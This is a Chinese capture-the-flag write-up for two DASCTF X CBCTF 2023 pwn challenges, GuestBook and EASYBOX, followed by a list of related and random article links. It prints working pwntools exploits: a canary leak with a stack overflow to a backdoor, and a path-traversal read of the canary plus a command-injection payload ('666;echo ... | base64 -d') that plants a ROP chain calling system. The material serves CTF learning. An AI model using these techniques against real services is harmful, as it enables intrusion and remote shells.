DASCTF X CBCTF 2023|无畏者先行 [PWN] WP

1.GuestBook

题目保护情况 开启canary,nx保护

64位ida载入 首先可以通过输入0x18个垃圾数据可以通过打印泄露出canary

这里至多有四次输入机会每次都可以溢出,但是有00截断

程序存在后门

思路:1.通过打印泄露出canary

      2.由于canary的00截断,第一溢出到返回地址并修改返回地址,(注意此时canary的末为不能为0,返回地址也有截断)

               3.第二次溢出到canary通过00截断把canary复原

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux') io = process('./GuestBook')
io.recvuntil(' name:') payload = b'a'*0x10 + b'b'*0x8
#gdb.attach(io)
magic = 0x4012c3
io.sendline(payload)
io.recvuntil('\n')
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary----->'+hex(canary)) io.recvuntil('(MAX 4):')
io.sendline('2')
payload = b'a'*0x98 + p64(canary+ord('a')) + b'a'*8 + b'\xc3\x12\x40'
gdb.attach(io)
io.sendline(payload) payload = b'a'*0x78 + p64(canary)
#gdb.attach(io)
io.sendline(payload) io.interactive()

2.EASYBOX

题目保护情况 同样是canary,和nx开启

64位ida载入

通过ida和运行可以看见是一个类似于shell的东西,有几个选项可以选,来一个一个分析

PING操作,可以把我们输入的东西拼接在命令里面执行并放入result.txt文件里面

但是做了过滤所以并不能直接读取flag

CAT操作,可以查看文件,这里有两个漏洞

前面知道canary存在/secret/canary.txt文件中,上面那个漏洞可以实现跨目录读取canary

思路:1.通过目录穿越读取canary

     2.通过PING,把ROP链写入result.txt文件中,因为有截断,可以通过base64把rop链编码,然后通过linux命令实现base64解码

     3.通过栈溢出获取shell

EXP:

from pwn import *
import base64 context(log_level='debug',arch='amd64',os='linux') io = remote('node5.buuoj.cn',25438) io.sendlineafter('name:','aaaa')
io.recvuntil('/home/ctf')
payload = 'CAT' io.sendline(payload)
io.recvuntil('view:')
payload = '../../secret/canary.txt'
io.sendline(payload) canary = int(io.recvline(),16)
success('canary----->'+hex(canary))
pop_rdi = 0x0000000000401ce3 #: pop rdi ; ret
system = 0x401230
sh = 0x402090
ret = 0x401C77
ROPpayload = b'a'*0x48 + p64(canary) + b'A'*8 + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system)
ROPpayload = base64.b64encode(ROPpayload) payload = b"666;echo '" + ROPpayload +b"'| base64 -d"
io.sendlineafter('/home/ctf','PING') io.recvuntil('address:')
io.sendline(payload) io.sendlineafter('/home/ctf','CAT')
io.sendlineafter('view:','result.txt')
io.interactive()

3.Binding

这个题目有多种解法通过下一篇单独讲解一下

DASCTF X CBCTF 2023|无畏者先行 [PWN] WP的更多相关文章

  1. [复现]DASCTF Sept X 浙江工业大学秋季挑战赛-PWN

    hehepwn 一开始泄露stack地址,然后写入shellcode返回到shellcode执行 from pwn import * context.os = 'linux' context.log_ ...

  2. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

  3. bugku - pwn wp

    一. PWN1 题目:nc 114.116.54.89 10001 1.  直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 1 ...

  4. 周练7(ssti)

    {7*7} ->49 -> smarty {{7*'7'}} -> 49 -> twig {{7*'7'}} -> 7777777 -> jinjia2 1. [B ...

  5. 【pwn】DASCTF Sept 九月赛

    [pwn]DASCTF Sept 月赛 1.hehepwn 先查看保护,栈可执行,想到shellcode 这题需要注意shellcode的写法 拖入ida中分析 一直以为iso scanf不能栈溢出, ...

  6. [复现]2021 DASCTF X BUUOJ 五月大联动-PWN

    [复现]2021 DASCTF X BUUOJ 五月大联动 由于我没ubuntu16就不复现第一个题了,直接第二个 正常的off by one from pwn import * context.os ...

  7. DASCTF NOV X联合出题人-PWN

    太忙了,下午4点才开始做,,剩下的以后补上 签个到 逻辑很简单两个功能的堆,一个就是申请heap.还有一个是检验如果校验通过就会得到flag 申请模块 ​ 中间0x886是个很恶心的东西,需要我们绕过 ...

  8. 躬身入局,干货分享,2023年春招后端技术岗(Python)面试实战教程,Offer今始为君发

    早春二月,研发倍忙,杂花生树,群鸥竟飞.为什么?因为春季招聘,无论是应届生,还是职场老鸟,都在摩拳擦掌,秣马厉兵,准备在面试场上一较身手,既分高下,也决Offer,本次我们打响春招第一炮,躬身入局,让 ...

  9. 移动先行之谁主沉浮? 带着你的Net飞奔吧!

    移动系源码:https://github.com/dunitian/Windows10 移动系文档:https://github.com/dunitian/LoTDotNet/tree/master/ ...

  10. 04.移动先行之谁主沉浮----XAML的探索

    如果移动方向有任何问题请参考===> 异常处理汇总-移动系列(点) 移动先行之谁主沉浮? 带着你的Net飞奔吧! 链接======>(点) XMAL引入 XAML 类似于 HTML,是一种 ...

随机推荐

  1. UE4/5 应用角色根运动的问题

    总的来说UE还是有点绕,网上提到的也不是很清晰,记录下. 具体可以下载UE官方示例ContentExample并进入Animation Level进行查看. 在Level中能看到根运动的必要步骤: 1 ...

  2. 4G EPS 的网络协议栈

    目录 文章目录 目录 前文列表 LTE/EPC 协议栈 E-UTRAN 空中接口协议栈 用户平面协议 PHY 层 MAC 层 RLC 层 PDCP 层 控制平面协议 RRC 层 NAS 层 EPC 核 ...

  3. hashMap添加key重复时返回值的形式

    hashMap添加key重复 System.out.println(map.put(1, 0)); // null System.out.println(map.put(1, 1)); // 0 Sy ...

  4. 安装anaconda3卡在Unpacking payload ...

    ananconda3在centos7虚拟机上,直接进行ananconda3安装但是始终卡在Unpacking payload ..., 虚拟机的核心数调到2或者2以上即可解决

  5. Istio(六):Istio弹性(超时&重试)和故障注入

    目录 一.模块概览 二.系统环境 三.弹性(超时&重试) 3.1 弹性 四.故障注入 4.1 故障注入 五.实战:观察错误注入 5.1 在 Grafana.Zipkin 和 Kiali 中观察 ...

  6. 通过 Wireshark 解密 Kerberos 票据

    前言 在使用 Wireshark 分析 Active Directory 的 Kerberos 的流量时,会遇到加密票据的情况,这对进一步探究 AD 下的漏洞篡改事件的详细过程造成了影响.在查询资料时 ...

  7. 基于 GoLang 编写的 IOT 物联网在线直播抓娃娃企业级项目

    基于 GoLang 编写的 IOT 物联网在线直播抓娃娃企业级项目 引言 前几年,娱乐物联网的热度很高.我当时所在的公司启动了一个将线下娃娃机的玩法,迁移到线上的项目,因此公司决定开发一个在线直播抓娃 ...

  8. FreeSWITCH使用soundtouch进行变声

    操作系统 :CentOS 7.6_x64 FreeSWITCH版本 :1.10.9   FreeSWITCH里面有个mod_soundtouch模块,支持通话实时变声,今天整理下CentOS 7环境下 ...

  9. Understanding Swift’s value type thread safety - 代码分析(一)

    结构体并不代表线程安全,swift在此上未做保证 func testScenarioA() throws { var store: Int = 0 DispatchQueue.concurrentPe ...

  10. cmake之find_library使用问题

    附上工程源码 demo工程 PS:这个工程用于导出库 CMakeLists.txt cmake_minimum_required(VERSION 3.5) project(demo LANGUAGES ...